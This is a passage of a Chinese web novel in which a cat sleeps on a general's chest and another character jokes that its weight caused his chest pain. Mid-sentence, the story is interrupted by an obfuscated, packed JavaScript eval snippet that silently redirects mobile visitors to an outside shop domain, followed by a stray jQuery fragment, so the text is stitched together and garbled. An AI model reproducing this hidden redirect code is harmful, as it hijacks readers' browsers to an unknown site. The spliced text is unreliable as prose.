齐敬之显然并没有想到李朔风要说的是这种事情。
他还呆怔了一会儿,这才问:“将军,您说什么?”
萧酥酪也仰起了脑袋,惊讶看向了李朔风。
“都饿了一晚上了。”李朔风低声说,“这毕竟是陛下的猫,在宫中养尊处优,我总不能亏待了它……”
他越解释越心虚,他自己都觉得自己这两日来的反应不太正常,可好在齐敬之没有继续追问,只是微微弯起眉眼,也同他笑了一笑,道:“羊乳是没有了,昨日没要得那么多,不过应该还有剩些肉汤,我让人去盛来便是。”
李朔风不好意思地清清嗓子,终于谈及他来此处的正题,道:“还有一事……”
齐敬之:“将军请说?”
李朔风:“今日我醒来后,总觉得胸口至肋下隐隐钝痛,也不知这是怎么了……”
齐敬之在李朔风说完一半话语后,便已露出了然般的神色,唇边还带上了一抹笑,很是艳羡般地将目光在小猫与李朔风之间转了几圈,看得萧酥酪莫名心虚时,齐敬之忽而酸溜溜问:“将军昨日是同花……这只猫儿一起睡的吧?”
他还有一些不太愿意接受花花这个称谓,因而只是极别扭地将这只漂亮的三花唤作猫儿。
李朔风点了点头:“是。”
齐敬之:“那大概就是猫儿干的了。”
李朔风:“什么?猫干的?”
萧酥酪立即警惕竖起耳朵,盯紧了齐敬之让咪琢磨不透的面容。
这个人类在说什么?
这人昨天还猜他是不是猫妖,这人不会知道了什么吧?
齐敬之又问:“昨夜这猫儿可是睡在将军的胸口?”
李朔风有些惊讶:“你怎么知道的?”
“将军放心吧,您没什么问题。”齐敬之说道,“这都是养猫之人的通症罢了。”
李朔风不解:“什么通症?”
齐敬之想伸手去抱萧酥酪,萧酥酪举起爪子作势要打他,他只好讪讪收回手去,无奈看了李朔风一眼,道:“将军,您看这猫爪。”
李朔风完全不明白齐敬之的用意,他困惑转过目光,看向萧酥酪举起的爪子。
这猫爪的毛发极长,因而看起来整个爪子毛茸茸的,颇为蓬松,比一般野猫的爪子要大上一圈,毛色雪白,打理得极好,看来小猫每日在舔毛这件事上要花费不少功夫。
如今这爪子虚虚地举在半空,爪子微微内勾,淡粉的肉垫在长毛下若隐若现,好像只要齐敬之再敢往前多伸一点手,猫儿便要狠狠地伸爪子揍他了。
“这猫体型忒大,远比一般猫儿要重得多,爪子却只有这么一点点大小。”齐敬之说道,“小爪子踩人是有些疼,何况这小爪子还要撑着这么大一个身体,将军您说您胸口钝痛,大概就是昨晚上被这猫压的吧。”
萧酥酪:“……”
萧酥酪尚且还举在半空的爪子,猛的便挥了下去。
齐敬之的反应可没有李朔风那般快,他来不及避开萧酥酪的爪子,实打实吃了好几下,手背上被挠出好几道红痕,可他确似乎并不觉得疼,只是平静收回了手来,面上还带着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733209|208996||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
笑,乐呵呵地说:“哎呀,我就说这猫儿通灵性吧,说它胖,它好像还能听懂。”
萧酥酪怒气冲冲龇牙。
什么叫做他体型忒大!
什么叫做他比一般猫儿要重!
这人怎么说话呢!
他浑身上下都是饱经锻炼的肌肉,他一跳能有两米高!他哪里胖了!这话是能对小猫咪说的吗!
李朔风也板起脸,神色严肃地将目光在萧酥酪身上晃了一圈。
“也不是很重。”李朔风说道,“我抱过了,不觉得它重。”
萧酥酪没想到李朔风会说这样的话。
他惊讶仰起脑袋,看向这个过高的大型人类。
“它只是毛长罢了。”李朔风极生硬地吐出一句萧酥酪很是熟悉的话语,“胡说八道,花花哪里重了。”
听着这句铲屎帝总爱说的熟悉的话语,萧酥酪莫名觉得鼻子有些隐隐发酸,不知为什么,他开始有些想念宫里了。
“抱这猫的时候,我也摸过了。”李朔风还在为猫儿解释,“它的骨头架子比一般猫儿要大些,看着体型大点儿,也是寻常。”
齐敬之:“……”
李朔风又是:“再说了,花花可是公猫,公猫要重一些,那便更正常不过了。”
齐敬之:“将军,您……”
“它没有太胖,我胸口不适,应当也不是猫压出来的。”李朔风板着脸,自顾自得出了结论,“大抵是头一回,我还不习惯,毕竟以往没被猫压过,往后再多压几日便好了。”
齐敬之:“……”